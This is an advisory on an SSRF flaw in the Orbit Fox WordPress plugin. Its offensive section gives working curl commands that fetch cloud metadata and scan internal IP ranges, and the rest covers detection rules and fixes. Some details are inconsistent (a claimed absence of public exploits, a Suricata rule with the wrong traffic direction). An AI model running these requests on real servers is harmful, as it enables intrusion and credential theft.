CVE-2025-10874

Executive Summary

CVE-2025-10874 is a Server-Side Request Forgery (SSRF) vulnerability in the Orbit Fox WordPress plugin (by Themeisle) versions prior to 3.0.2. The plugin’s stock photo import feature fails to validate or restrict the URLs that can be requested, allowing an authenticated attacker (with at least contributor-level privileges) to force the WordPress server to make arbitrary HTTP requests. This can be abused to probe internal networks, access cloud metadata endpoints (e.g., AWS 169.254.169.254), or perform port scanning of internal services. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is mapped to CWE-918 (Server-Side Request Forgery). No public proof-of-concept or exploit code has been released at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem. Users should verify the integrity of the plugin update by checking the plugin’s checksum or signature if available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires WordPress contributor or higher role
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited information disclosure (e.g., internal service banners)
• Integrity Impact: Low (I:L) – potential to manipulate internal state via crafted requests
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the SSRF can be chained with other vulnerabilities (e.g., internal service exploitation) to escalate impact.

Deep Dive & Mechanics

The Orbit Fox plugin provides a stock photo import feature that allows users to fetch images from external sources. The vulnerability lies in the stock_photo_import AJAX action handler. The plugin does not validate or sanitize the URL parameter passed by the user before making a wp_remote_get() call. An attacker can supply arbitrary URLs, including internal IP addresses (e.g., http://169.254.169.254/latest/meta-data/) or localhost services (e.g., http://127.0.0.1:8080/admin).

Root Cause: The plugin uses wp_remote_get() with a user-supplied URL without any allowlist or blocklist for domains/IPs. The response is then returned to the attacker, enabling data exfiltration.

Attack Flow:

1. Attacker authenticates with a WordPress account (contributor or higher).
2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=orbit_fox_stock_photo_import and url=http://169.254.169.254/latest/meta-data/.
3. The server fetches the URL and returns the response (e.g., AWS metadata).
4. Attacker repeats for internal services (e.g., http://192.168.1.1:80).

Vulnerable vs. Patched Code

Vulnerable Code (version < 3.0.2):

// In stock-photo-import.php
add_action('wp_ajax_orbit_fox_stock_photo_import', 'orbit_fox_stock_photo_import_callback');
function orbit_fox_stock_photo_import_callback() {
    $url = $_POST['url']; // No validation
    $response = wp_remote_get($url);
    // ... process and return response
}

Patched Code (version 3.0.2):

// In stock-photo-import.php
add_action('wp_ajax_orbit_fox_stock_photo_import', 'orbit_fox_stock_photo_import_callback');
function orbit_fox_stock_photo_import_callback() {
    $url = esc_url_raw($_POST['url']);
    // Validate against allowed domains
    $allowed_domains = array('images.unsplash.com', 'picsum.photos');
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['host'], $allowed_domains)) {
        wp_die('Invalid URL domain.');
    }
    $response = wp_remote_get($url);
    // ... process and return response
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Orbit Fox < 3.0.2
• Valid user credentials (contributor or higher)
• Internal target (e.g., AWS metadata endpoint)

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Use a tool like Burp Suite or cURL to send a crafted AJAX request:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d "action=orbit_fox_stock_photo_import&url=http://169.254.169.254/latest/meta-data/"
   

3. The response will contain the AWS metadata (if running on AWS).
4. For internal network scanning, iterate through IPs:

   for ip in 192.168.1.{1..254}; do
     curl -s -X POST http://target.com/wp-admin/admin-ajax.php \
       -d "action=orbit_fox_stock_photo_import&url=http://$ip:80" &
   done
   

Expected Output: The attacker receives the content of the requested URL, enabling data exfiltration or internal reconnaissance.

Blue Team (Defensive)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=orbit_fox_stock_photo_import and unusual url parameters (e.g., internal IPs, cloud metadata).
• Look for outbound HTTP requests from the WordPress server to internal IPs or unusual external domains.

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri=/wp-admin/admin-ajax.php action=orbit_fox_stock_photo_import url=*
• ELK: http.request.uri: "/wp-admin/admin-ajax.php" AND http.request.body: "action=orbit_fox_stock_photo_import"

Mitigation:

• Immediately upgrade to Orbit Fox 3.0.2 or later.
• If upgrade is not possible, disable the stock photo import feature via a WordPress filter or by removing the AJAX action.
• Implement a Web Application Firewall (WAF) rule to block requests to internal IPs in the url parameter.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the WordPress server to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
  • Repeated requests to admin-ajax.php with action=orbit_fox_stock_photo_import and varying url parameters.

• File IOCs:

  • Modified or suspicious entries in WordPress debug logs (e.g., wp-content/debug.log) showing wp_remote_get calls to internal IPs.

• Log IOCs:

  • Web server access logs showing POST requests to /wp-admin/admin-ajax.php with action=orbit_fox_stock_photo_import.

Detection Engineering

YARA Rule

rule CVE_2025_10874_OrbitFox_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10874 SSRF in Orbit Fox plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10874"
    strings:
        $ajax_action = "orbit_fox_stock_photo_import"
        $url_param = "url="
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $ajax_action and $url_param and $internal_ip
}

Sigma Rule

title: CVE-2025-10874 Orbit Fox SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to admin-ajax.php with orbit_fox_stock_photo_import action and internal IP in URL parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains: action=orbit_fox_stock_photo_import
        cs-uri-query|re: (10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})
    condition: selection
falsepositives:
    - Legitimate use of stock photo import with external URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10874 Orbit Fox SSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=orbit_fox_stock_photo_import"; http_client_body; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/R"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Orbit Fox to version 3.0.2 or later from the WordPress plugin repository.
2. Disable Feature: If upgrade is delayed, disable the stock photo import feature by adding the following code to your theme's functions.php:

   remove_action('wp_ajax_orbit_fox_stock_photo_import', 'orbit_fox_stock_photo_import_callback');
   

3. WAF Rule: Block POST requests to admin-ajax.php containing action=orbit_fox_stock_photo_import and a url parameter pointing to private IP ranges.

Long-Term Hardening:

• Implement network segmentation to restrict outbound HTTP requests from WordPress servers.
• Use a reverse proxy (e.g., Nginx) to filter outbound requests to internal IPs.
• Regularly audit WordPress plugins for SSRF vulnerabilities using static analysis tools.

Patch Verification:

• After upgrading, verify the plugin version in wp-content/plugins/themeisle-companion/readme.txt or via the WordPress admin dashboard.

Valters IT